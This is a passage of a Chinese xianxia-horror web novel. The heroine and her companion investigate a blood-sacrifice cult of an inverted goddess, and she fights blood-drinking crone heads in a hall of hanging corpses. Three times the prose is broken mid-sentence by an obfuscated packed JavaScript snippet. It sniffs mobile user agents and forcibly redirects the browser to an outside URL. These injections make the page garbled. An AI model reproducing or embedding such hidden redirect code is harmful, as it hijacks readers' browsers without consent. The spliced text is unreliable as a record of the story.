“我可是文殊院的先生!文可提笔谏天下,武可持剑定乾坤~” 原湘湘默默背过身去,她已经收拾好了一切,现在准备去扔垃圾。 “哎,湘湘姑娘,你怎么不理我?”柳折舟又是老样子跟在她身边叽叽咕咕个不停。 原湘湘两腿一迈,已经朝西边小门走了过去,柳折舟还跟在她的身边说着自己在文殊院的事,像是什么“每月二十五两例银,每旬日休三天,重要节日依旧休息”之类的话。 “说这么多,你是要拉我过去工作吗?”原湘湘端着一盆血水走在前面。 “别呀!”柳折舟忽然情绪激动起来,“那份工作很辛苦的!你看我这样就知道……” 他自说自话着,声音却突然戛然而止,像是被人一巴掌抽丢了魂:你怎么了柳折舟?怎么现在又变卦了?你在想些什么呢? 原湘湘走在前面根本无暇在意他的异样,待二人刚走到墙根附近,原湘湘抬腿拦住他,示意不要说话。 柳折舟沉默着点点头。 原湘湘桥悄悄推开西边小门,看也不看地朝着墙根方向猛泼一盆血水。 墙根附近传来阵阵强压着的怒骂,片刻后才渐渐散了。 “你出去?”原湘湘问他。 “不要。”柳折舟又笑着贴了过去,“我说了‘湘湘姑娘去哪儿我就去哪儿’。” 他只要一靠近,就会有股好闻的香气瞬间笼罩在原湘湘的周围。 原湘湘蓦地向另一边平移了一个单位。 虽然她面上依旧毫无表情,但实际上是她是手足无措,她觉得自己很反常,既觉得那股香气沁人心脾又害怕那股香气让自己浑身发毛如火烧。 还不如家里那个铁匠师父满身的汗臭让她安心不变。 故而,只要柳折舟一靠近或者对着她笑,她就想躲。 她怕的是自己。 柳折舟见她悄悄移开了一些,他笑着的眼睛里转瞬便覆满了各种复杂情绪。 柳折舟你真是笨啊,他搁心窝里痛骂自己:你是不是忘了如今的局面都是你自己造成的! 他亦慢慢退开一步,满面歉意道:“湘湘姑娘,对不住了是我唐突了!” 原湘湘觉得自己更奇怪了,明明是害怕柳折舟靠近所以才远离,可见到柳折舟真的后退一步时,她却忽然心里空落落的。 这样一来,心中就生了气。 她不管柳折舟左一个“道歉”又一个“有愧”,径直往西边厨房方向去了。 二人路过西边一处小房间时,原湘湘忽而停住了脚步,柳折舟猛然抱住旁边一个柱子。他还在庆幸还好没撞到原湘湘。 那完全封闭的小房间里传出阵阵有规律声响,像是有人用利器抠刮着木门窗户发出的声音,令人头皮发麻。 不多时,小屋木门悄悄开了一条缝,五根生着极长指甲的枯手缓缓抓着门边,阴风顿时泄露出来。 一股腥气带着霉味直冲头顶。 “湘湘姑娘小心!” 柳折舟一个熊抱直接傍上原湘湘。 “你们两个在做什么!”一声陌生的怒斥顿时将二人惊在原地不得动弹。 33.吃苦受难不言语永生 “你们两个在做什么!”一声暴喝如惊雷炸响。 原湘湘顿时愣在原地。 柳折舟也不知不觉从原湘湘身上松开了手脚。 对面那人横眉竖眼对着他们二人,因为背后的伤口剧烈疼痛,被原湘湘刚缠上不久的绷带上深处殷红的血迹,豆大的冷汗从他的脸上滚落下来。 “快回去!”李果儿强压怒火,“别在这里待着。” 原湘湘还在原地没缓过神来,突觉手里一热,柳折舟已经拉着她的手要走。 “唐突了。”柳折舟嗓音沉沉,也不知这句话到底对谁说的。 离开小屋的最后一眼,原湘湘亲眼看见李果儿神色凝重地走进那小屋。 那里绝对是个人。她心道。 暮色四合,星辰拱起,远处的屋舍像是被人丢弃的破铜烂铁般横七竖八躺在小小的山间。 小镇里灯火通明,李家西边小屋中更是烛火明亮如白日。 小屋正北方向供着一尊圣元娘娘像,香炉中插着新燃的三支新香,烟气如云缭绕,恍若幻境一般。 那个双眼被覆的神像倒悬着,木刻的双脚被钉子钉入背后的木板上,神像手中持瓶朝下,身后的木板上画满无数祥云瑞兽。 神像正下方坐着一位垂垂老矣的妇人,那妇人白发苍苍,两眼空洞,面上无一处好皮,尽是烂肉翻开,血水顺流而下。 老妇人的手脚皆被锁链紧紧困住,不得动弹。 细细看去,老妇人掩藏在衣袖下的双手枯黑焦瘦,指甲尖长,不时便会有暗红色的血顺着粗粝的指尖缓缓地下,慢慢在地上凝聚成一滩干枯的血迹。 “娘亲,都是果儿的错,都是果儿不心诚不吃苦,所以才让圣元娘娘的药失了效。”李果儿跪在堂下,一个壮年男子几乎泣不成声,“不过,果儿这三年来虔心受苦受难,终于求到了一个女子,待果儿娶了她后,我们李家就有后了!” 说到此处,李果儿的面上终于泛起几分红润之色。 “娘亲,等果儿娶了媳妇儿,我们二人都能一起为您祈福,为您向圣元娘娘捐供,到时候再求圣元娘娘大发慈悲,赐予新药,就一定能根治您的病!” 李果儿跪在圣元娘娘像与他的娘亲之下,目中一片炽热虔诚。 他拜了又拜,然后才终于起身,拿起供桌上的一柄刀,往小臂上划了几刀,往盘子里放血。 他把那盘温热的血渐渐递到那老妇人的面前。 当血气萦绕在其周围之时,那个此前无精打采宛若死尸一般的老妇人忽然暴起,摔倒在地上,她就像被困住的野兽一般疯狂地哀嚎着,朝着那盘鲜血爬行。 一个不稳,那盘血尽数抖落,泼了个满地。 那老夫人叫嚣着,早已溃烂的脸部在地上剐蹭露骨,血肉绵延一地,可她却好像完全不觉痛苦,只是一味地朝血气处爬行。 老夫人全身的衣裳早就被血水浸满,如此在地上翻滚挣扎,地面上瞬间绽放出朵朵绚烂的红花,癫狂肆意,狰狞暴戾。 “啊啊啊——”老妇人奋力弓起脊背,喉间流出痛苦饥渴的嘶鸣。 “娘亲,果儿一定会为你求得新药的,在此之前,您就用果儿的血吧。” 李果儿将割破的腕子伸进那老夫人的口中。 一张狰狞可怖的巨口露出长长的尖牙,一口咬下,血飞肉烂。 西边小屋暗处渐渐隐没两个人影。 原湘湘和柳折舟两人方才正藏在暗处悄悄看着李果儿的一切,屋内究竟发生何事他们虽然不得见,但从通天彻底的烛光和嘈杂混乱的哀鸣中,二人也能猜出几分。 “如何?现在走还是了结之后再走?”柳折舟侧目问原湘湘,“以湘湘姑娘的武功,你若想带着我从这里逃出去,应该不是难事,” 原湘湘说:“要不我们现在走?” 柳折舟抚扇就笑:“只要跟你在一起,去哪儿都行。” 原湘湘无言半晌,思量片刻后才道:“他看来很信任圣元娘娘。” 柳折舟摇着手中的洒金白纸扇,定定看着前方的黑暗,不知为何,他的眼睛恍惚一瞬也失了神采。 他轻轻甩甩脑袋,继续道:“我在文殊院做的便是这样的事,替官府扫清前朝遗毒。” “怎么?”原湘湘抬起头看他。 “湘湘姑娘应该也知道,那个老皇帝自己沉迷升仙拜教,整个国家混乱不堪,直至现在,中州也未一统。” 柳折舟说着说着,话音便弱了几分。 原湘湘默默咬紧了牙关。 “当年的‘玄女’,不是么?”他两指并拢合上折扇,无奈叹了口气。 原湘湘接着道:“可他是真心信仰圣元娘娘。” “湘湘姑娘是在担心如果我们直接捣毁圣元娘娘庙,会让李果儿难以接受?” “也不止如此,这个镇子的人看来都同他一样,稍有不慎,我们就会被群起而攻之。” 柳折舟俯下身子,凑近道:“那就‘既来之则安之’嘛~” 他又朝着原湘湘连连眨眼,左眼窝里的那颗小痣如同星辰一般。 原湘湘面上一热,悄无声息地往前一步:“噢。” 这天夜里三人各怀心思地睡下了。 翌日,天还未亮,原湘湘就听见院子里传来阵阵有规律的闷响。 那声音像是棒槌砸在一沓湿衣裳似的,“嗵-嗵”闷响,断断续续,听得让人不禁皱起眉头,心中莫名涌起一股胀气。 原湘湘遂起身查看,小小的四方院落,铺就着青石板,初春地湿,石板缝隙中慢慢游走着条条鲜红的细线。 李果儿身着一件单衣,头朝正北跪下,对着堂屋的一副倒悬受难女子像疯狂磕头。 头每砸一下,骨头都在地上砸出令人心悸的闷响,直到头破血流后,鲜红的血液顺着青石板缝隙流动,宛若一张巨大的红色蛛网。 将猎物紧紧包裹其中,不得逃脱。 “你受伤了。”直到李果儿彻底停下时她才出声,“我这里有药。” 李果儿头抵着地,痛苦地喘息着。 他没有回答原湘湘的话,只是默念着:“受苦受难,有求必应,大慈大悲,圣元娘娘。” 天上飘着淅淅沥沥的小雨,南方早春,阴雨连绵,雨丝如线似棉,轻轻落在肌肤之上。 李果儿浑身滚烫的炙热忽然凉了下来,他勉强抬起沉重的头颅,在一片模糊血色中见到了一个瘦削的红色影子,那影子手持长伞,静静站在他的身侧,为他挡住苦风寒雨。 “你受伤了。”原湘湘又一次重复道。 李果儿颤抖着,一只大手艰难地伸向红色影子,终于发出几声呜咽:“娘子……娘……” “我不是你娘子。”那影子迟疑半晌,便又补充道,“……也不是你娘亲。” 他彻底昏迷前听到这样一句话。 原湘湘蹲下身来,接住了那只昏迷沉睡的手。 她注视着那只手,眼中依旧没有多于表情,只是大睁着双眼,如刀一般锋利的眼神,似乎要将眼前之物尽数斩断才能作罢。 墙角处,一抹月白悄然退去。 又一夜,待整个李府全部沉入黑暗时,西边小屋的木门陡然打开,而后从中走出一个高大健硕的男人来。 正是李果儿。 他依旧披着染血的单衣,头上缠着干净的绷带,额前微微透着血色。 接连两日的□□“受刑”,加之祈求净身,不食俗物,让他这个健硕的成年男子也有些承受不住。 他要为即将到来的婚礼做出“牺牲”,承受苦难,方能显灵。 漆黑的夜中,织着细细密密的冷雨,像是女子柔软的手指般轻柔,可也像女子指尖的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765584|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利爪刺入皮肤,顷刻间流血痛肉。 李果儿提着灯笼,左右避开,不多时就来到一处恢宏壮阔的土楼前。 这幢恢宏壮阔的建筑飘摇在凄风冷雨中,青黑色的砖瓦映着惨红的灯光,风一吹,雨一下,寂静萧索,仿佛群魔乱舞,鬼影重重。 李果儿抹开脸上的雨水,他怔怔看着眼前的大门,而后便迈步而进。 大门左右上书“受苦受难受万刑,有求有应亦有凭;今生须受来世苦,不言不怨是为灵”。 李果儿穿过正门,身后便是四层楼高的第一环,那里面居住着此间的本地人。 李家祖上是从北边逃难而来的,数十年前,曾经燃起战火。 冷风呼啸,手里的灯笼在不住飘摇,李果儿忽觉背后的伤口刺痛无比,如同无数蚂蚁在伤口上濡血爬行啃咬。 他继续迈步而入,接连穿过紧挨着的第二环和第三环民居,来到了祖堂大门前。 外地人想在本地扎根绝非易事。 门口立着两个上了年纪的行刑人,身着黑红长衣,头戴高冠礼帽。 那二人正是前两日为李果儿实施鞭刑的人。 二人伸手示意,李果儿才抬脚再入。 这里面是什么? 他比谁都清楚。 第一次来是为什么? 为求母亲一线生机。 为此,他不惜变卖三代家财,更是每日虔心诵经,默念教义,谨记受苦受难,肉身成苦,心诚则灵,方能感化圣元娘娘,求得灵药一滴。 只因,此处之人,确有通天之能。 圣元楼是一幢古老恢宏的环形土楼建筑,里外共三层,中间便是圣元娘娘所在的祖堂。 李果儿伸手拦住飘摇乱晃的灯,他抬头看着天井,天上无光,唯有苦寒。 可是,眼前有光。 他进了祖堂,“咚”的一声跪倒在圣元娘娘牌位前,头颅紧贴地面,身子低得仿佛不能再低,仿佛要将整个人嵌入地缝中去才肯作罢。 祖堂牌位的正中央,立着一个丈余高的倒悬神像。那蒙眼持瓶的女子双脚被约有三寸的铁钉从脚掌钉入,腰间悬挂着锁链,另有一根长约十寸的铁钉楔入神像腹部,倒悬于上,双目紧缚,手中净瓶斜斜向下,朝向众生。 倒悬受钉,蒙眼不视,受苦受难,不言不怨,血流遍地,福泽众生。 良久,才听得到男人发自喉间的悲鸣。 “救苦救难的圣元娘娘大发慈悲,救我娘亲一命!母亲如今全身溃烂。如果再得不到灵药,估计便要……”他的声音戛然而止。 瓶中何时才能流出一滴灵药来? 自父亲过世后,母亲是如何将他一人带大的呢? 他的单衣早已湿透,此前被原湘湘包扎好的伤口也裂了开来,洇出的血液浸透了他的衣衫。 祖堂中烛火耀耀,红光粘腻,血一般的自顶部流出。 圣元娘娘牌位后缓缓走出一人,那人面色苍白却神采奕奕,是个眉清目明的年轻人。 可李果儿知道,此人自打他幼时见那人赐福后起,三十余年未曾变过一点。 他的时间,他的容貌,是被圣元娘娘保佑的。 因为心诚意真,因为吃苦受难,所以长生不老,无灾无病。 “我见你也是个虔诚的孝子。”那个人便是守护着祖堂的守堂人,“圣元娘娘已经感受到你的诚心了。” 李果儿猛地一个机灵,顿时立起,他直直盯着守堂人,唇角微微颤抖着。 “将你那未过门的媳妇儿带过来吧,同你一起。”守堂人围着李果儿轻轻环步,“你知道的,心诚意真,受苦受难,方能有灵。” 如血般鲜红的祖堂中,一立一跪着的二人,不多时,跪着的那人便又深深埋下了自己的头颅。 遥远的夜空中,弥漫着笃笃不停的声音。 34.红衣金玉初试妆新娘 阴雨连绵,如此又两日,终于在第三日才放了晴。 原湘湘正在后面厨房里准备饭食,柳折舟在灶台下面烧炭烤火。近来也是奇怪,柳折舟总是嚷嚷着头痛困乏怕冷吃不下去饭。 原湘湘看见他那副样子,也知道他不说这里痛那里痒,若是活蹦乱跳了才不正常,就这将死不死的死样正好是栩栩如生的他。 二人忙活了半天,也就将着李果儿家中的一些食材摆弄出两口小菜。 这两日里,但凡他们二人中有人出门就必会遭人跟踪。 整个山里小镇笼罩在一层阴雨连绵的雾霭中,空气潮湿而又粘腻。 破落的山中小镇中有一处极为广阔的地方,那地方是一幢恢弘高大的土楼,土楼周围遍布着街市,如今还只有小门小户的几家还在做生意。 只能从这些残存的建筑里依稀见得从前的些许繁盛,如今,山中小镇白日里几乎无人,田地也遭废弃,一片落寞荒芜。 “被子都要滴水了,再不出太阳,我便要长蘑菇了。”柳折舟唉声叹气,他掰断一根树杈塞进锅洞里,湿木头一粘火星,不仅不起火反倒呛起了浓烟,熏得他眼泪直流,连连咳嗽,“拿出去……那……咳咳……卖吗?几文钱一斤?咳咳 !! ” 原湘湘讶异,左右眉一高一低:“都烧好了,你怎么又添柴?” 他赶忙从灶台里起身,柳折舟此刻就像个从炭火里扒拉出来的红薯,脸上身上都是灰。 擦干泪后,他只露出一双沁满薄红的泪眼:“我想烧火烤衣服被子。” 原湘湘:“……” 柳折舟这人原湘湘现在也算有点了解,他就是爱说这种稀里糊涂不着边际的话,只要不搭理他便可,放在一旁,他会自己消化吸收的。 原湘湘递给他一个馒头,问道:“那你这两日看得怎么样?” 原湘湘轻抬眼尾,示意西边小屋里的情况。 李果儿鲜少与他们二人一同交谈吃饭。 那天他晕倒在院子中后,醒来时原湘湘也将他的额头伤口处理好了。 他对原湘湘说:“娘子,我要先去圣元娘娘祈福求恩赐,寻个良辰吉日,这一回,一定要好好生生喜气,到时……说不定娘就有救了!” “没见门开过。”柳折舟馒头夹菜吃得正香,原湘湘问他,他皱起眉头,“天可怜见!湘湘姑娘,你说过的话,我一直谨记在心。” 原湘湘出门采买时打探情况被跟踪,柳折舟独居屋中监视不见一人。 这里,本来就没几个活人。原湘湘暗自道。 “不打算走吗?” 一股混杂着烟熏火烤的怪异香气飘然而至,她一抬头,柳折舟又凑近了, “既来之则安之。”原湘湘歪歪脑袋,“你说的。” 柳折舟一手撑着下巴,笑吟吟地看着她:“我就说湘湘姑娘侠义仁心嘛。” “少贫嘴。”原湘湘又转过脸去不看他。 其实,她是有些不好意思。 方才柳折舟撑起下巴的时候,她注意到那些裂纹不知为何又少了许多,就连颜色也变得几近白雪。 想到此处,她不自觉地挠了两下自己的下颌。 “李大哥这种情况,我们文殊院一般都是将真相直接给他看。”柳折舟走到原湘湘身侧,俯身道,“湘湘姑娘要不要试一试?” “那你呢?” “我一定不会让你有事的。”柳折舟又朝她眨眨眼,“我以性命作保,如果湘湘姑娘陷于生死之际,我愿以命相换,求菩萨保佑湘湘姑娘长命百岁。” 原湘湘怔怔看着他,而后沉声道:“这是你说的。” “我说的,以命相抵,换湘湘姑娘此世无虞。” 他本就生得眉目如画,说话做事温温柔柔,如今对着原湘湘举手立誓时也是那副喜笑盈盈的样子,原湘湘倒忽然害怕了起来。 她很快收敛起心中的不安,故意问他:“那下一世呢?你就这么小气?” 柳折舟三两下吃完馒头,如释重负般呼了两口气,笑道:“我不信有来生过去,我只信现在,只信眼前之人眼前之事,任何没有发生的事,都不去预计。” “可你为什么要说‘如果’,会为了我以命换命,这不也没发生吗?” 柳折舟被她这样一问,忽然睁大了双眼,他轻轻摸了摸鼻梁,而后将手挡在了原湘湘眼睛上方。 原湘湘心里一颤,登时绷紧脊背,她条件反射般的后退,可是,无路可退——柳折舟在她身后将她的退路全部堵住,让她无路可退。 此刻,身后是温温热热的怀抱,眼前是细瘦修长的手。 中间是砰砰乱跳的心。 “我会全心全意地陪着湘湘的。”柳折舟在她的头顶轻叹一声,眼中流露出柔和的神色,“人总是会为自己的所求不计一切地往前,对吗?” 丝丝凉气带着些许痒意滑过她的脸侧,那是柳折舟的发丝垂在了她的胸前。 原湘湘一把抓住他的手,将那只手从眼前拿开痴痴发呆。 青白色的手带着不似活人般的死气,指尖泛着淡淡的灰色,仿佛青烟一般顺着筋脉血肉慢慢流经至全身,他的右手手心掌纹里有一颗小痣,现在也有一道细细的圆形瘢痕。 她默默抿起了嘴。 “我……我的手不好看的,上面都是疤。” 柳折舟支支吾吾着抽回了手,而后就转过脸去不说话,俨然一副被轻薄了后要寻死觅活的模样。 原湘湘望着他。 “我觉得很好看,跟你人一样好看。” 柳折舟原本拧着的眉眼立时睁开。 又三日,那一天晨雾稀薄,日光终于洒落出来,整个山镇遍地金光粼粼。 李果儿在申时三刻现身。 他穿着一身如血般的喜服,胸前系着一个红花绣球,身旁还跟着好几个黑红衣裳的高冠大汉,队伍的最后面是一个满面愁容的瘦弱女子,年纪约莫四十上下,鬓角已染白霜。 李果儿头上还缠着原湘湘打好的绷带,一白一红,似乎已经将他全身精气吸干,此刻他站在最前,枯瘦的脸埋在阴影中让人看不真切。 原湘湘见此情境便知不妙,她立时隐隐发力,将手悄悄放在了身后的刀柄之上。 对面几个高冠汉子见原湘湘似乎要反抗,面色一青,只听得一阵哗啦作响,他们拖过一条铁链来。 其中一个行刑人便冷哼一声,推了李果儿一下。 李果儿神色木讷, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773936|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼吸细微,良久才从日光中暴露出那张骨瘦形销的脸来:“娘子,祈福仪式我已完成,现在该轮到了你了。” 一个精壮的汉子,几日不见,便已成了这副人不人鬼不鬼的样子。 原湘湘听到这里,默默呸了一声。 不待她反应,肩膀上涌来一股暖意,柳折舟已经先她而上,那手持铁链的几个汉子立时就将柳折舟绑了去。 “娘子。”李果儿高大的身材如同一座纸糊的小山堵在她的面前。 原湘湘想起了柳折舟的计划,点头沉默,放松了动作。 那最后面的喜婆捧着一叠锦绣红衣欢欢喜喜进了门来。 当夜,土城红光通明,里面张灯结彩挂了一片,红绸彩缎铺满门前。 原湘湘醒来之后,便发现自己身处一处紧闭的房间之内。 此刻她端坐于床边,满身金玉红绣,下身一条绛红织金流云百褶裙,腰缠青玉腰带,环佩叮当,上身一件海棠红立领袄子,外罩蔷薇色洒金缠枝纹对襟长褙子,小巧的脑袋被一片鸳鸯戏水盖头紧紧遮住。 乍看之下,她正老老实实地端坐在床边,和任何一个准备拜堂入洞房的新娘子都无异。但其实在那身鲜艳喜庆的红衣之下,她的手脚已经被一副金铁锁链牢牢地锁住。 她现在只恨自己太掉以轻心了。可如今,身在敌营,方才后悔万分! 那个捧着喜服的喜婆看着原湘湘换上喜服后,便趁她不备,一记手刀将原湘湘放了个倒。 如今既不知自己身处何地,也不知柳折舟情况如何,但总归不能坐以待毙。 她虽然表面看着沉静,但其实早就心乱如麻。本来就是意气用事,各种烦心事扭在一处,气不打一处来,想要找李果儿算笔总帐。 贸然行事,自己行动不得——倘若无人相救,那又该如何是好? 求人不如求己。 原湘湘坐在床上使劲儿晃了晃身子,心才定下来。 她的后腰里一直都贴身藏着雁栖。 喜服是她自己换上的,满面红妆是喜婆化上的,侥幸的是那喜婆没有料到原湘湘的后腰处贴身藏着一柄足以挥金断玉的利刃。 她默默运劲,左右两边的锁链登时绷直,锁链轻颤,每一节之间因为相互摩擦发出刺耳的鸣声,豆大的汗珠已顺着秀气的下颌滑落在朱红色的喜服领口,洇湿出一大片的暗红色。 片刻后,“哗啦啦”一阵碎响,锁链安然无恙地落下。 不过,好在锁链的长度足够她伸手取出雁栖。 寒光过刃,金石碎裂,四根绑住手脚的金铁锁链如同纸片一般纷纷碎裂。 原湘湘一把掀了盖头,扯掉盘发上的金玉首饰,露出一张小巧精致的脸来。 她亭亭而立,光洁的额上花钿如血,映着眼尾两抹鲜红与朱唇,灼灼似火。 烛影摇红。 她就站在那里,手中雁栖荡过寒光,一身红衣凛凛,如同一株沐雨而绽的石榴花,飒然耀目。 她躬身潜到密室门前,纤薄的刀刃滑入门缝,刃间刚一接触门锁,那锁便四分五裂,原湘湘紧贴在门框上左右瞧了许久,四下只有寂静的通红。 她轻轻推开房门,游鱼一般贴着墙壁飘行而出! 35.红裳素手新刀断尘缘 纤薄的刀刃滑入门缝,刃间刚一接触门锁,那锁便四分五裂,原湘湘紧贴在门框上左右瞧了许久,四下只有寂静的通红。 她轻轻推开房门,游鱼一般贴着墙壁飘行而出! 夜色如墨,风声萧萧,眼前是一片彻目的红。 她倚身紧贴在墙壁上,一股难以言喻的寒意慢慢自脚底生发,握住刀柄的手被她攥得发白,朱唇似血。 她不清楚自己究竟身处何地,但唯一能辨认出的便是此地一定就是圣元娘娘庙的中心! 土楼高大巍峨,其中燃着无数红布灯笼,青瓦石砖映射着红光,仿佛淋上了一层湿漉漉的血迹。 环廊之内,左右皆是望不到尽头的血路。 冷风过去,烛影飘摇,不远处似乎飘来喜庆的唢呐声,空气中还飘着似有若无的焦香。 原湘湘强忍着胃中泛出的恶寒,俯身下行,顺着嘈杂乐声而去。 她只顾着一门心思往前,或许因为一直没有守卫在此,原湘湘竟然稍稍放了松懈。 耳边依旧是不远不近的唢呐声,眼前朱影飘摇倚阑干,不多时,她就爬上一层楼梯,来到此间最上层。 霎时间,饶是从死人堆中活下来的原湘湘也不得不软下身子,强撑在地。 爬上楼梯时,最上层,无一间客房,皆是举目无尽的宽阔回廊,比焦香腥臭更先一步到达脑海的是无尽的倒挂尸林,影影绰绰。 回廊顶部悬挂着无数细线,那些细线下垂着,风吹着,就像无数蜘蛛从腹中吐丝悬挂着在房梁之上,那一片没有尽头的倒悬干尸。 那些尸体泛着青石一般的暗色,满身遍布如手指般粗细的锈迹斑点,浑身干枯如柴,只有一层薄薄的腊皮包裹之上,而后又被粗硬的麻绳将双腿紧缚,倒悬于房梁之上,顺着风意轻轻摇摆。 朱红遍洒,宛若珠帘轻动。 “嗬…………”她弓着脊背,使劲儿捂住自己的口鼻,企图不再发出一点声音。 眼中的酸涩再也抑制不住,胃中的恶寒让她不得不绷紧全身。 脑海中的颜色开始光怪陆离起来,刺目的刃光,凄厉的哀鸣,肃穆的歌谣……一切的一切开始在原湘湘的脑中回闪,最终融于怒放的片片血花。 这么多年,你以为你能轻而易举忘掉一切吗? 你会记得死去所有人,对么? 你为什么而活着? 为什么只有你一人活下来了呢? 浓烈得几乎让人窒息的焦香腥臭充斥着脑海,回廊似海无涯,天幕无边无垠,目光所及之处,密密麻麻,挨挨挤挤,飘飘摇摇着的——全是倒悬之人。 原湘湘无声地喘着气,她迅速抽回神智,银牙一咬,唇边渗出丝丝细血,提刀便上。 无论如何,此处都必须毁了! 通天彻地的红光招摇着,将她的身影拉长,又被遍横的悬尸分割碎裂,散于无止尽的黑暗中,似乎有什么东西正在将一切吞食。 她在提气小跑,可那回廊却像没有尽头一般,倒悬尸林隐于暗处,面前那回廊的暗处却摆着一张一张床榻,破败的被角耷拉下来一般,在招摇着的红光里,被面上的残龙败凤恍惚沐血而动。 忽然,一股莫名的寒意攫住了她,双脚仿佛被冰封一般。 原湘湘立时摒住了呼吸。 此处,潜藏着诡异的呼吸。 “咝……”极其轻微,如同毒蛇吐信般的吸气声,从暗中的床榻出传出。 “铮——” 雁栖鸣响,她已横刀在前。 尸林霎时间剧烈摇晃起来,原湘湘感觉到周身冷意遍袭,很快,一颗布满皱纹的枯瘦脑袋自那锦被中缓缓爬出。 灯光如血淋漓。 那是一个生着稻草般头发的老鬼婆的脑袋,苍老的眼珠里反射着赫赫红光,干裂的嘴唇嚅动着,露出尖刺獠牙:“是……活人……的味道……” 话音未落,那颗头颅竟凭空飞出,带起一阵腥风,半空中徒留一道残影,径直扑向原湘湘面门,两手直朝原湘湘抓来! 原湘湘早有防备,她站定发力,旋身横扫,右手间刃光划破长空一线,只听得“咔嚓”一声,而后老鬼婆的痛叫哀鸣接连四起。 “咚”!老鬼婆的左臂被原湘湘斩断,滚落在地,那断肢上的手指抽搐着,五根指爪如同精铁一般锋利。 湘湘心道:还好提前有防备,否则被抓了一下,自己不得碎成肉片! 老鬼婆少了一只手臂,只能趴在地上“呼哧呼哧”地嚎叫,此时原湘湘才得以看清她的样貌:哪里是一颗头颅! 这生着尖牙利爪的老鬼婆仿佛尸首分离一般,全身都已干枯,和那倒悬尸林中的干尸没甚区别,唯独一颗脑袋还挂在脖子上带着点肉气,泛着点血光。 “血……血!你是活人!!还是处女!”老鬼婆伤口处的脓血渐渐化作红色雾气,她潜藏着红雾中的头颅不停地翻滚着狞叫着,“血!!不死……” 一声尖锐嘶鸣,老鬼婆又一次从地上弹起,利爪横出,原湘湘翻身后跃躲过一爪,她攀身踏步,手中刃光飞舞,一刀落下,又断老鬼婆右臂。 “哇哇呀呀呀呀——” 失去双臂的老鬼婆直挺挺躺在稀薄的血泊中凄厉哀叫,她的周身红雾渐渐散去,仅剩的脑袋也随着雾气的散去而瞬间枯朽。 “不死……长……”最后一缕红雾散去,老鬼婆的哀鸣也戛然而止。 原湘湘看着眼前的一切,心脏却无论如何也安定不下来。 眼前的一切何曾相似!奉国寺时,当时院中多位长老的惨状不也正是如此? 长生不死? 原湘湘看着光洁干净的刀身,莫名又想到那个铁匠师父,如若没有这柄短刀,自己是不是早死了几百回了。 这么多年来,头一回开始怀疑家中那个铁匠师父的身份。 师父,你究竟是何人?又为何能打造出雁栖这般足以与孤鸿平分秋色的利刃来? 不待她喘一口气,一股阴风便擦着她的鼻尖飞过,阴冷腥臭的气息让她汗毛倒竖。 “……哈啊。”原湘湘低喘一声,鼻梁上渐渐生出几股刺痛,而后便有一道凉意顺着脸颊没入她的喜服之中。 屋顶之上,尸林之中,她能清晰看到那如同染血般的苍发,尖利的牙齿在黑暗中闪着寒光。 还有一只。 她缓步打开架势,雁栖再度横于胸前,如刀一般颜色的双眼死死盯着暗中那处。 原湘湘料定是因为亲眼见到自己杀了那老鬼婆,所以暗中的这只才不敢轻举妄动。它们虽然易杀,但只要被它们的尖牙利爪碰到,自己也不会好过。 黑暗中的那物盘踞在尸林之中,一阵令人头皮发麻的“咕噜”声从暗中传来,喉咙间发出粗重干涸的喘息,像是僵硬的吞咽。 “你是……活人。”暗中那个苍老而嘶哑的嗓音含糊不清,“你死……我才能……活……” 电光火石间,暗中寒光猛地一亮,一颗老人头从尸林中窜出! 原湘湘持刀迎上,却不料身子一顿,径直失去控制,在地上翻了几个跟头才停止。 “怎么回事?” 不待她喘息,那老人头又一次袭来,两手猛向湘湘脸上抓来,原湘湘被困于尸林之中,匆忙之间,她一个鲤鱼打挺直直从地上翻起,雁栖再一次朝着老人头的方向砍去! 哗啦啦,哗啦啦,眼前尸林断肉如同残花一般凋零而下。 那老人头又一次消失了踪影。 她只得握紧雁栖,不住地环顾四周,谨防那怪物从尸林中偷袭而出。 在哪里! 目光掠过前方。 在哪里? 扫过身侧。 在哪里? 旋身背后也没有。 可是……那粗重的呼吸却从未停止!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776841|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 究竟在何处—— 原湘湘干脆闭上双眼:“心如止水,静听万物,凝神入气,起下丹田……心无他物,天地连通,天塌不惊,地陷犹定,观自在变化,悟天地人同。” 她默默念着那晚的口诀,气息与心跳也逐渐平静下来,可诡异的是,虽然双目紧闭,她她的脑海中却浮现出一张更为清晰的图景来! 凛凛寒风过处,灯摇,影晃,倒尸林中挂。 “在上面!” 她赫然原地暴起,如箭一般跃身,霎时间,刀光闪烁,直朝着头顶暗处劈去! 